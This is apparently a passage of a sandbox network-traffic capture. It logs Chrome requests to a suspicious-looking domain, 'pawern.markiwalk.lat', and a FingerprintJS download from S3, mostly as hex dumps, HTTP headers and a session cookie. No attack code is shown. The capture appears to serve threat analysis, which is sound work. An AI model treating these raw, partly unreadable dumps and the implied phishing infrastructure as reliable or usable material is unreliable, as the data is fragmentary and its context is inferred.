w`TI[PEWJC5%RM3-%iE<2tzc}L3^zq]jf[16PJ62<5.DHW@=TK,tRNS+;Jz4oixC^UjXIDATh_gA\uQ3we].!!$LBB Ev!"=kbkkx>?
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: fc 63 7f de f6 99 14 f0 62 91 6c ea 96 99 52 a2 dc ca 58 87 83 46 72 ec bd 19 b5 4e 86 20 10 e2 58 44 e3 83 07 f1 f1 1d ba 95 08 0a 41 60 28 dc bd 08 dd ed 20 94 bd 23 8e 4a 9a c4 f5 27 6d 20 fe d1 6a 8d a6 8d 31 ec 7e 65 64 df e3 89 82 79 22 f9 d4 58 04 ce 25 28 2e 8a e4 67 3b 50 c4 3d a2 44 10 60 5f ad 5f 9c 6b aa ab 8b ac aa ea 1f 1b ac c8 4d 42 09 52 89 92 4e 3b 43 c6 da 9d ce 6c a7 12 c5 f2 ce d8 d8 ea d1 5c ce f2 6c 7a b5 f8 b7 d7 f1 82 45 a2 d2 3a 1d c6 25 a1 a9 40 98 ba 6a b9 ca 0c c0 47 9c bd b5 af e0 d2 a5 a9 d2 d2 b0 b0 b0 d2 a9 a9 d2 81 a2 0a 1d c9 de 80 01 86 a7 10 41 0c d9 2e 0c c5 72 a5 9a 6a 85 c2 76 aa f1 e9 ae 3f 6a c3 d9 f6 51 1d 4f 0e 7d e6 06 82 52 39 b5 9f 14 d2 18 82 54 26 a7 c2 55 cc 67 8f 9c 38 77 a9 a0 24 f2 b8 56 cb b6 51 58 51 Data Ascii: cblRXFrN XDA`( #J'm j1~edy"X%(.g;P=D`__kMBRN;Cl\lzE:%@jGA.rjv?jQO}R9T&Ug8w$VQXQ
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: d8 11 6e 7c 5d d8 0f b7 6b e6 8c 91 57 cc de 83 2b ba aa d2 ba 07 fa a6 2c f3 95 1c dd c0 be ab e3 a3 12 d8 bf aa cb 3a 60 3f b7 16 f8 f0 85 56 a1 30 b3 7d f2 ce 9e d5 69 cb d9 0a 67 3e c0 97 47 90 eb 78 f3 ad 29 1e 8b 3f 16 5f 15 f6 43 bd 79 cc 18 39 ab cf ba 46 c7 1f 8f ae 82 57 73 7a cc fc f3 a5 eb ba 04 b5 14 f0 51 a2 2c 1c 7d 7e e3 54 52 3b e0 83 12 9f 9d 5c 9d 58 fe 1f 04 0a 24 e1 22 91 f1 a4 9e e2 1e 7a 8e d7 0f 96 f2 78 6b f8 be 7a 73 93 31 f2 c8 b1 a1 23 11 43 c7 a3 8f d7 9b cb 8d e3 b9 f3 d1 fb ae b6 59 a3 a2 24 e1 70 88 2b 26 fe 80 07 7e 4c d1 fb 6c 53 3b 20 15 84 87 8b c5 81 c6 71 16 7f e8 39 7e ee 05 be b4 ef 2c e0 65 c0 9e 7d 8e b7 46 5b 47 8d b7 74 cd d1 62 59 14 1f f0 13 b0 1f 7d 81 3f 75 5e 08 a1 3a 9d 58 f4 2d 18 0f 9f 25 c8 e1 98 27 92 Data Ascii: n\|]kW+,:`?V0}ig>Gx)?_Cy9FWszQ,}~TR;\X$"zxkzs1#CY$p+&~LlS; q9~,e}F[GtbY}?u^:X-%'
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: d8 66 09 78 a1 cd b5 f2 33 82 28 b6 d0 46 db 6a e0 fd dd c9 71 0c c2 74 d7 62 08 85 75 8c 19 d5 b0 e2 01 5a 20 00 3a 9b b4 2f 93 a3 2d 6a e9 7c 1e 86 c1 bb 33 5c e0 06 a4 d6 e6 13 66 98 b1 30 a1 12 63 96 6e 3e c9 bd f3 e2 74 b2 71 cb 1d 6f 5b 79 19 7c 4e 1d d8 41 e0 87 5c 86 0c 92 49 8f cb 47 68 9a c2 f2 16 c1 32 83 b2 05 ba af 56 7c 7c 45 8b 5a 7d 66 d2 8c 61 c8 d5 b8 11 57 ba 1b 43 10 8a 44 72 35 6c cd 2f 3d 9e 88 67 98 8c f5 c3 cf 86 80 6f be 32 79 61 59 93 0a 46 cb f5 3e e7 4c d9 03 37 60 18 c9 c7 50 dc 1c 3f 98 60 95 d9 6c ab 59 b3 11 a5 06 78 5b 23 81 21 f9 16 3a bf a7 cb 89 79 c0 35 c1 f2 da 13 85 c2 b4 c4 9b c3 f4 53 d3 cc a6 9d 2f d9 6a 9c 8d bb bf 5f 6e 81 4f b6 58 2b c0 51 a0 b8 b5 dd 0c 1c 9b 63 69 40 60 98 3e 7e 7e 2c 50 1d 3d aa 86 38 7f 7e Data Ascii: fx3(FjqtbuZ :/-j\|3\f0cn>tqo[y\|NA\IGh2V\|\|EZ}faWCDr5l/=go2yaYF>L7`P?`lYx[#!:y5S/j_nOX+Qci@`>~~,P=8~
2024-10-03 16:18:15 UTC	309	IN	Data Raw: ee 37 18 e0 30 f2 a6 e1 bf 7d f3 5e 8e df f6 e6 a0 06 cd a9 4e e8 57 42 21 b8 10 9a 4c 96 0b 3a 25 aa a0 56 12 db e3 27 ef 27 5e bc 78 b7 d1 b0 cb cf 6f e3 de cd ff f8 cb 73 ff af 63 ee 4f 36 32 f9 e3 ac 3f a3 69 bf fb 2c 51 18 a3 4a 5c ba 7b 21 11 8a 31 66 82 ce af 6f 5b 12 16 7b e0 fc f7 ef 62 eb 78 3c 93 31 e3 9e bd 2c 4c d3 9c d2 25 3d 82 19 9a d6 f0 64 65 e8 7e 66 68 62 fb 70 46 a5 bb f7 46 5b 7c ea 87 1b fe 25 de 7f 93 cb b0 69 bb ff de 39 61 e6 a3 61 26 f5 7a 51 da c5 86 bb 8d 1e d3 f5 53 89 c2 49 c6 b2 67 5b c0 8e 4a 57 25 0c e9 bf 8c bd 7b 7c 7b f4 9d 67 ee ae 78 0c 9b 76 cc 2e 3d bc 39 0c 5b eb 1d 57 4e dd 6c f4 1d 2c 39 db 77 ec fe 0f 7f 50 e0 b7 6a 16 be 9f fa 74 66 a7 1f 67 fb 91 f2 4e da b0 8b c3 d9 be df 9b 61 d9 bb fe 8e ff 18 01 5b f6 ef Data Ascii: 70}^NWB!L:%V''^xoscO62?i,QJ\{!1fo[{bx<1,L%=de~fhbpFF[\|%i9aa&zQSIg[JW%{\|{gxv.=9[WNl,9wPjtfgNa[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.16	49768	104.21.57.136	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:15 UTC	423	OUT	GET /master/us217/f_secure_1.png HTTP/1.1 Host: pawern.markiwalk.lat Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
2024-10-03 16:18:15 UTC	798	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:18:15 GMT Content-Type: image/png Content-Length: 9862 Connection: close Cache-Control: public, max-age=604800 expires: Thu, 10 Oct 2024 15:29:33 GMT last-modified: Thu, 05 Sep 2024 16:49:31 GMT x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff vary: User-Agent CF-Cache-Status: HIT Age: 2922 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RyFs3lU5psTNEInokWykVjXJV611df4TuOgNxrKAZ3xci7q0XBPzsPctBxvze3DzX%2BeCtgGlRFYzB6bjsVrAxVu53iLNUBOBKs1vH5NycINbOQ%2FV7Sk1IuoLpX8EmxbBhcKrzx0usg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce3f3cfa0142e9-EWR
2024-10-03 16:18:15 UTC	571	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8a 00 00 00 85 08 03 00 00 00 b3 0f 90 83 00 00 03 00 50 4c 54 45 00 00 00 dd d4 9c f9 f4 d8 b1 a6 34 d0 c8 7a 85 7a 18 e3 db a1 b2 a9 3a dc d6 a4 f6 f2 d2 de d6 97 e5 e0 ab ec e6 bc d1 c7 81 e4 de b2 ef e9 c3 a3 9c 4d c7 bf 6f b7 b2 70 bf b9 81 db d3 8e f0 e9 c9 d0 c8 70 f5 ee cc b9 b1 64 bd b2 4f bb aa 28 8e 86 32 ba b0 57 b5 a8 2e ad a5 30 9c 95 3d b8 af 48 c9 bd 5d be b6 5e cd c9 8c 84 7c 25 bb b1 43 ce c4 65 76 70 21 98 90 2a a8 9d 1c 8c 82 18 aa 9a 22 93 8d 45 9c 93 1d b1 ab 4a c8 bd 51 00 00 00 01 03 01 01 00 05 07 01 01 a8 99 02 03 00 00 8a 80 00 01 00 09 04 05 06 01 06 00 aa 9b 02 0c 04 01 96 8a 01 01 01 0d a8 97 0a a3 99 04 07 07 01 a7 96 02 af 9c 10 ac 9d 02 ff ff fe 03 01 13 a5 91 01 a8 Data Ascii: PNGIHDRPLTE4zz:MoppdO(2W.0=H]^\|%Cevp!*"EJQ
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: 1f 48 3c 0f 68 62 08 3b 2c 05 af a2 03 15 15 02 1f 1a 00 f0 f0 f0 ea ea ea e6 e5 e5 28 26 07 be be a1 bd b5 5d 81 74 19 71 69 17 91 89 1d 69 62 15 9e 98 03 cd c2 74 74 75 74 ca c2 69 56 45 12 cd cc cc 54 53 53 60 53 16 9c 94 10 61 5b 05 8c 79 03 b0 a8 1b 89 80 0d bd b6 66 b6 aa 3d b5 9e 05 7f 80 80 2e 2f 2e ab a5 0f 65 54 07 8b 8b 8a b2 aa 2b 7a 68 16 b6 a7 0e 33 2a 0d e1 e0 de da da da b9 b9 bb b0 9c 20 96 93 10 9e 8a 0f e4 dd aa 91 91 91 4b 4b 4b 52 4e 14 d4 d5 d3 aa a0 2e 97 80 07 c3 c2 c3 a8 a8 a7 99 99 9a ba b4 53 43 35 14 46 44 0b 27 26 24 4e 40 1c d9 d1 c1 b1 b1 b1 cb c3 5d 9c 92 25 ae aa 5f 43 42 48 fb f9 df 9f 9f a0 d3 c4 7a 86 88 0e a2 a3 a7 82 67 04 d6 d5 91 b2 aa 73 bc b3 99 9e 97 64 47 4b 31 6d 0d 23 9f 00 00 00 30 74 52 4e 53 00 55 09 fe 7d Data Ascii: H<hb;,(&]tqiibttutiVETSS`Sa[yf=./.eT+zh3* KKKRN.SC5FD'&$N@]%_CBHzgsdGK1m#0tRNSU}
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: a5 de a7 53 85 25 9e f0 a6 79 f8 06 fa bc fa b0 ff 4d 53 99 fe 48 48 48 bf e7 fd 0f f8 f9 2f 54 8a 4a 4b 0a 50 4c ba a5 3d aa aa ea a1 6a 0e 03 86 c7 40 19 50 a4 2e bd ee 54 cd e1 8d 08 5a 73 a0 0e 45 22 23 11 16 4d 06 9a 90 78 ed 86 62 85 ae 37 02 c1 b8 e5 2f 53 59 af fa 79 2f 0c 0d dd ef ce cf bb 63 2a 36 6c b7 f5 f7 b7 84 78 82 5f 6b d8 b3 06 65 e2 45 eb 89 98 ae 6a 5c c0 00 4f 06 a3 d1 c7 68 53 8e 78 74 f7 01 14 f9 4e 5c 87 a0 75 c7 be d9 f8 79 64 24 b0 89 44 c0 bb 98 56 16 d7 77 6d 02 f9 82 f6 28 9e ec 4c 4b 4b 8b 53 2f 7c eb ce a9 64 04 32 a5 6c c8 39 a2 1c 71 5d 4e c5 99 92 c6 cc 04 cd 27 29 6c 36 28 85 14 11 d4 bd f7 e9 ee 3e 04 dd 78 f0 64 4e 1f ca 42 58 67 c5 e9 30 35 e2 dd c7 9a 46 4f d2 1c 51 94 cd 95 a8 6b 75 86 65 85 6a 1c 13 14 be 36 92 ed Data Ascii: S%yMSHHH/TJKPL=j@P.TZsE"#Mxb7/SYy/c*6lx_keEj\OhSxtN\uyd$DVwm(LKKS/\|d2l9q]N')l6(>xdNBXg05FOQkuej6
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: 4c 6a 32 ef ad 96 20 80 3e 88 79 ec ba 6d 27 11 26 67 53 62 42 e9 c2 bf 5c e8 99 4f c6 5a de 48 93 60 cd 74 cc 44 37 ae aa c1 20 a3 62 ef e1 2f 2b c0 d8 17 12 12 1f 9f e4 6e ce 6d 33 7d 67 38 dd 85 02 89 5a 97 b7 4f 80 d1 be fc f3 6d 5b 0f 9f ec 3c 96 cc c4 4d 0d b1 f3 bc 27 e3 28 67 5f 2e d6 65 e0 ec be ad 5f a6 83 ba d4 21 2c f0 07 e0 18 76 e0 4c f5 ea b8 c7 82 fc bd ff fc 75 6e f7 0b 08 9c 1b 7a ce d3 b3 c5 d9 9a c6 66 76 93 ad 11 28 83 45 fb f4 9a 6d e2 9c 4f 0f 62 82 5a 6b 31 7c bc 4f 0a fe a5 54 78 35 8a 6d 6c da 9a 93 73 80 05 7e 19 d2 e0 94 bd d6 54 26 96 b2 37 89 ff 6c 8b 27 f8 f4 a0 19 7f 14 92 e6 bb fa 6d 21 ee 10 d8 9a 18 2e 62 a0 d5 15 2a 13 97 89 23 e3 48 3f d5 1c 8f 45 d7 1a 8a 43 27 bd ca b7 3f 62 d8 7b 14 63 36 7f f6 4d 1f 84 24 36 03 c1 Data Ascii: Lj2 >ym'&gSbB\OZH`tD7 b/+nm3}g8ZOm[<M'(g_.e_!,vLunzfv(EmObZk1\|OTx5mls~T&7l'm!.b*#H?EC'?b{c6M$6
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: 83 4c 94 2f 82 56 99 de e9 5c 4a e9 1d 50 4d c9 1c 22 4a 04 cd ae eb f2 94 d9 12 f7 ce e8 7e 15 4d c5 8f 6c f9 fa 23 c7 18 45 29 b2 b3 49 b9 99 22 3a 28 22 5f 4e 91 14 49 42 9d c2 22 24 a8 0e 92 b0 58 e0 56 21 d7 9b b3 8b 0d 86 e2 6c aa 43 0e a6 41 0b 11 84 8c 24 28 8a 22 27 00 4f cb e5 44 76 bd 48 43 40 87 94 9c 04 d3 03 01 b9 5c 94 c0 93 f1 78 72 39 d9 21 94 91 2a f9 75 f9 6c 4d d8 d3 5f 7d e1 99 3d 3e 2b 3c 4f a0 22 b2 88 1c 15 31 51 20 1e 97 6f d6 e4 2d a5 f8 0a 3e 58 37 3f bb aa 2a 1f cc 5c 1e 15 a5 92 e7 87 09 f3 08 39 a5 d1 68 48 b2 42 48 41 7f 0a 21 69 58 9a 07 84 2c f9 c4 04 2a e4 94 a5 ca 42 a9 aa 5e b0 c8 f9 49 3c 5e 8c 2c 6f a9 88 a2 34 42 55 87 8a c7 cb e3 43 5f 49 51 aa 8e 84 eb f2 d6 98 84 b5 40 a5 78 5c 6d 13 ce 7c fd 91 88 d4 bf dd ad 35 Data Ascii: L/V\JPM"J~Ml#E)I":("_NIB"$XV!lCA$("'ODvHC@\xr9!ulM_}=>+<O"1Q o->X7?\9hHBHA!iX,*B^I<^,o4BUC_IQ@x\m\|5
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: c3 cd c2 09 3a 99 30 92 0a 30 ab fc 20 41 14 69 52 52 e4 f0 54 ea ca b8 65 ba 42 06 83 01 c1 7f 0c c5 0f aa 58 6b 54 e1 64 49 1a 1b 79 52 59 a3 a4 7f 1f a7 9e c7 e4 c9 64 12 66 63 63 61 c3 e8 21 19 14 e0 cc c0 ec 1e ee e8 88 9e c9 d4 f3 24 cc 91 85 b2 7a aa 6c 21 3b b6 21 6f b1 5c d6 57 d7 cf 63 82 b8 44 28 93 38 f9 79 14 68 59 62 f7 8c 8f f4 0b 15 4c 81 84 29 1b 99 df 53 23 91 8c 36 70 f8 b1 b9 d2 fc ba bc 14 4d f6 21 19 ae 90 30 25 52 9e e4 a0 cb f2 fd d4 7e cd b2 2a 9a 73 9e f8 6e 6b 72 a6 52 6d 31 91 30 a8 94 4a 95 c1 24 5a 01 97 9b a1 32 58 44 22 96 da ac e4 9a b9 dc 74 52 ca d2 3e c3 35 ab 59 50 c7 35 2b cd b0 57 1b 82 f2 06 63 06 5f 0e e0 72 b9 66 83 c5 64 81 8f ba 4e 69 56 c1 75 a1 4a a5 b2 04 f6 ea a0 bc cd b7 d8 0a 66 db b0 89 6c 6d f3 f6 3f f1 Data Ascii: :00 AiRRTeBXkTdIyRYdfcca!$zl!;!o\WcD(8yhYbL)S#6pM!0%R~*snkrRm10J$Z2XD"tR>5YP5+Wc_rfdNiVuJflm?
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: 0a 0d 03 6e eb cc f6 3e 14 ef 13 cd 79 1d ce a2 2d 77 df 7d cd a6 33 37 2e 57 5f 12 7a ab aa 6a 9a 8a 94 f7 24 cd 12 82 82 e1 a1 a1 e1 c9 84 93 39 d0 ba 20 cc ac e4 89 73 d6 e3 d3 17 5e b1 4b 2d da 4b 25 18 58 37 e4 c8 10 fa 29 e0 43 11 0a 7f f1 6d 8d 28 af a8 b5 27 ea e6 8b c3 d6 e9 83 af 66 92 81 85 2c ae eb 03 02 e9 ee ee 1e 3e 5c d2 85 e3 42 32 ca d0 dc b3 fd d5 1b ff f4 32 17 df 37 c1 1f cd 47 c9 58 f8 a9 21 c8 be eb 87 ba c0 05 2a f6 88 ca 31 e2 78 ab 69 7c fd bd ea b5 10 0a ab 97 60 3c c7 d3 1d f9 3c 2a a4 0e 13 80 29 c3 c4 c9 38 07 3e 30 b6 4b b5 f9 8a 33 db eb 55 8f 6d 9f a8 c1 31 36 0a 76 f6 cd 70 01 79 81 1c e8 02 eb 5e cd 12 52 f3 6d 6a 35 6d dd dc c1 0b 1e 7b f2 c0 81 5d 56 21 51 de 14 df 0b 7d 98 fe 54 c2 6b a8 00 c1 5f fa 1c 23 03 28 2f d6 Data Ascii: n>y-w}37.W_zj$9 s^K-K%X7)Cm('f,>\B227GX!1xi\|`<<)8>0K3Um16vpy^Rmj5m{]V!Q}Tk_#(/
2024-10-03 16:18:15 UTC	1077	IN	Data Raw: b1 1d f0 72 88 fc 7a 53 47 87 d3 ee 05 38 bc 1b 30 96 4b ee 31 b8 bd 4e e7 ed 91 a1 d7 66 c8 b9 d5 e5 d0 66 96 f7 ba ca 1a c6 6a 21 52 ca 86 06 f7 b5 37 5f 42 91 a9 92 1c b2 af 39 f1 ca 2b bb 27 f5 24 fb f6 14 41 e8 85 52 2a 2e c9 b2 65 50 0c 2d 4c 36 1d b3 da 7d ee f9 8b 42 23 a3 6f ab 76 d8 1d 77 6f 80 63 d1 6a 8b 8e bc 94 6c 06 ae 49 e1 97 6d 13 5b 15 e0 3f 87 aa 33 aa b6 87 bf 98 8f 93 8c 14 bd 14 2d f8 64 4a 0a 4e 3e 9c 30 98 30 38 08 dc aa 82 ae 02 e8 14 70 66 e1 ec 78 6a dd cc 3e 05 15 de d2 f4 8c aa 49 eb 20 9d f8 b2 a8 88 2d d5 5b fe 3a b5 e1 82 4d 41 ce c0 35 19 d9 d9 3a ce cc be 42 92 ff 5d fb ed d3 ba e2 d6 a2 66 c5 ca a4 42 0a 5f fd 2b a7 73 f4 fa 02 29 59 43 27 f0 81 ca a2 9d 4a b9 7a 36 1f 63 13 68 ad c7 ac aa 5b a2 d9 43 83 13 12 58 ff b5 Data Ascii: rzSG80K1Nffj!R7_B9+'$AR*.eP-L6}B#ovwocjlIm[?3-dJN>008pfxj>I -[:MA5:B]fB_+s)YC'Jz6ch[CX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.16	49766	52.218.242.160	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:15 UTC	360	OUT	GET /jsma/fp.js HTTP/1.1 Host: s3.us-west-2.amazonaws.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 16:18:15 UTC	428	IN	HTTP/1.1 200 OK x-amz-id-2: SumWxkClspUXdVC9zco/D/+TtDfHZss6BStPJ1RGx788GRCwLflq1WVk/Fxzf5xESuC0VAqFJoM= x-amz-request-id: P4CXWQWJXSG8RX5Q Date: Thu, 03 Oct 2024 16:18:16 GMT Last-Modified: Sat, 25 Feb 2023 10:10:37 GMT ETag: "3029ac1921f5b0735ce63619203b879b" x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Content-Type: application/javascript Server: AmazonS3 Content-Length: 34144 Connection: close
2024-10-03 16:18:15 UTC	16384	IN	Data Raw: 2f 2a 2a 0a 20 2a 20 46 69 6e 67 65 72 70 72 69 6e 74 4a 53 20 76 33 2e 34 2e 30 20 2d 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 46 69 6e 67 65 72 70 72 69 6e 74 4a 53 2c 20 49 6e 63 2c 20 32 30 32 33 20 28 68 74 74 70 73 3a 2f 2f 66 69 6e 67 65 72 70 72 69 6e 74 2e 63 6f 6d 29 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 28 68 74 74 70 3a 2f 2f 77 77 77 2e 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 6d 69 74 2d 6c 69 63 65 6e 73 65 2e 70 68 70 29 20 6c 69 63 65 6e 73 65 2e 0a 20 2a 0a 20 2a 20 54 68 69 73 20 73 6f 66 74 77 61 72 65 20 63 6f 6e 74 61 69 6e 73 20 63 6f 64 65 20 66 72 6f 6d 20 6f 70 65 6e 2d 73 6f 75 72 63 65 20 70 72 6f 6a 65 63 74 73 3a 0a 20 2a 20 4d 75 72 6d 75 72 48 61 Data Ascii: /** * FingerprintJS v3.4.0 - Copyright (c) FingerprintJS, Inc, 2023 (https://fingerprint.com) * Licensed under the MIT (http://www.opensource.org/licenses/mit-license.php) license. * * This software contains code from open-source projects: * MurmurHa
2024-10-03 16:18:15 UTC	596	IN	Data Raw: 22 59 56 74 6f 63 6d 56 6d 58 6a 30 69 61 48 52 30 63 48 4d 36 4c 79 39 33 64 33 63 75 64 47 6c 77 61 57 4e 76 4c 6d 4e 76 62 53 38 2f 59 57 5a 6d 61 57 78 70 59 58 52 6c 53 57 51 39 49 6c 30 3d 22 29 5d 2c 61 64 47 75 61 72 64 4a 61 70 61 6e 65 73 65 3a 5b 22 23 6b 61 75 6c 69 5f 79 61 64 5f 31 22 2c 63 28 22 59 56 74 6f 63 6d 56 6d 58 6a 30 69 61 48 52 30 63 44 6f 76 4c 32 46 6b 4d 69 35 30 63 6d 46 6d 5a 6d 6c 6a 5a 32 46 30 5a 53 35 75 5a 58 51 76 49 6c 30 3d 22 29 2c 63 28 22 4c 6c 39 77 62 33 42 4a 62 6c 39 70 62 6d 5a 70 62 6d 6c 30 5a 56 39 68 5a 41 3d 3d 22 29 2c 63 28 22 4c 6d 46 6b 5a 32 39 76 5a 32 78 6c 22 29 2c 63 28 22 4c 6d 46 6b 58 33 4a 6c 5a 33 56 73 59 58 49 7a 22 29 5d 2c 61 64 47 75 61 72 64 4d 6f 62 69 6c 65 3a 5b 63 28 22 59 57 31 Data Ascii: "YVtocmVmXj0iaHR0cHM6Ly93d3cudGlwaWNvLmNvbS8/YWZmaWxpYXRlSWQ9Il0=")],adGuardJapanese:["#kauli_yad_1",c("YVtocmVmXj0iaHR0cDovL2FkMi50cmFmZmljZ2F0ZS5uZXQvIl0="),c("Ll9wb3BJbl9pbmZpbml0ZV9hZA=="),c("LmFkZ29vZ2xl"),c("LmFkX3JlZ3VsYXIz")],adGuardMobile:[c("YW1
2024-10-03 16:18:15 UTC	9501	IN	Data Raw: 31 70 64 44 39 31 63 6d 77 39 49 6c 30 3d 22 29 2c 63 28 22 59 56 74 6f 63 6d 56 6d 58 6a 30 69 4c 79 39 30 5a 57 78 6c 5a 33 4a 68 62 53 35 74 5a 53 39 7a 61 47 46 79 5a 53 39 31 63 6d 77 2f 49 6c 30 3d 22 29 2c 22 2e 65 74 73 79 2d 74 77 65 65 74 22 2c 22 23 69 6e 6c 69 6e 65 53 68 61 72 65 22 2c 22 2e 70 6f 70 75 70 2d 73 6f 63 69 61 6c 22 5d 2c 61 64 47 75 61 72 64 53 70 61 6e 69 73 68 50 6f 72 74 75 67 75 65 73 65 3a 5b 22 23 62 61 72 72 61 50 75 62 6c 69 63 69 64 61 64 65 22 2c 22 23 50 75 62 6c 69 63 69 64 61 64 65 22 2c 22 23 70 75 62 6c 69 45 73 70 65 63 69 61 6c 22 2c 22 23 71 75 65 54 6f 6f 6c 74 69 70 22 2c 63 28 22 57 32 68 79 5a 57 5a 65 50 53 4a 6f 64 48 52 77 4f 69 38 76 59 57 52 7a 4c 6d 64 73 61 58 4e 77 59 53 35 6a 62 32 30 76 49 6c 30 Data Ascii: 1pdD91cmw9Il0="),c("YVtocmVmXj0iLy90ZWxlZ3JhbS5tZS9zaGFyZS91cmw/Il0="),".etsy-tweet","#inlineShare",".popup-social"],adGuardSpanishPortuguese:["#barraPublicidade","#Publicidade","#publiEspecial","#queTooltip",c("W2hyZWZePSJodHRwOi8vYWRzLmdsaXNwYS5jb20vIl0
2024-10-03 16:18:15 UTC	7663	IN	Data Raw: 6e 28 29 7b 72 65 74 75 72 6e 20 79 28 62 28 6e 61 76 69 67 61 74 6f 72 2e 68 61 72 64 77 61 72 65 43 6f 6e 63 75 72 72 65 6e 63 79 29 2c 76 6f 69 64 20 30 29 7d 2c 74 69 6d 65 7a 6f 6e 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 6e 3d 6e 75 6c 6c 3d 3d 3d 28 65 3d 77 69 6e 64 6f 77 2e 49 6e 74 6c 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 65 3f 76 6f 69 64 20 30 3a 65 2e 44 61 74 65 54 69 6d 65 46 6f 72 6d 61 74 3b 69 66 28 6e 29 7b 76 61 72 20 74 3d 28 6e 65 77 20 6e 29 2e 72 65 73 6f 6c 76 65 64 4f 70 74 69 6f 6e 73 28 29 2e 74 69 6d 65 5a 6f 6e 65 3b 69 66 28 74 29 72 65 74 75 72 6e 20 74 7d 76 61 72 20 72 2c 6f 3d 28 72 3d 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 46 75 6c 6c 59 65 61 72 28 29 2c 2d 4d 61 74 68 2e 6d 61 78 28 70 28 6e 65 77 20 Data Ascii: n(){return y(b(navigator.hardwareConcurrency),void 0)},timezone:function(){var e,n=null===(e=window.Intl)\|\|void 0===e?void 0:e.DateTimeFormat;if(n){var t=(new n).resolvedOptions().timeZone;if(t)return t}var r,o=(r=(new Date).getFullYear(),-Math.max(p(new

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.16	49771	104.21.57.136	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:15 UTC	701	OUT	GET /favicon.ico HTTP/1.1 Host: pawern.markiwalk.lat Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
2024-10-03 16:18:15 UTC	808	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:18:15 GMT Content-Type: image/x-icon Content-Length: 0 Connection: close Cache-Control: public, max-age=604800 expires: Thu, 10 Oct 2024 15:25:27 GMT last-modified: Tue, 11 Jun 2024 20:46:17 GMT x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff vary: User-Agent CF-Cache-Status: HIT Age: 3168 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gWFqNj%2BX9RMpmwEFqEqBtiMqd%2Fl%2FVrtQIdVPrcTg%2Fb1OO2LE3c92xU4jGpp8ph4ax1JI6e04Z1cxz36TEnr5v73ZTlzfkhnrBfavUuNLo1fm1RqTfY5lKljd%2BCTR8L%2BALe6sam%2B4iQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce3f3fec8d4390-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.16	49773	104.21.57.136	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
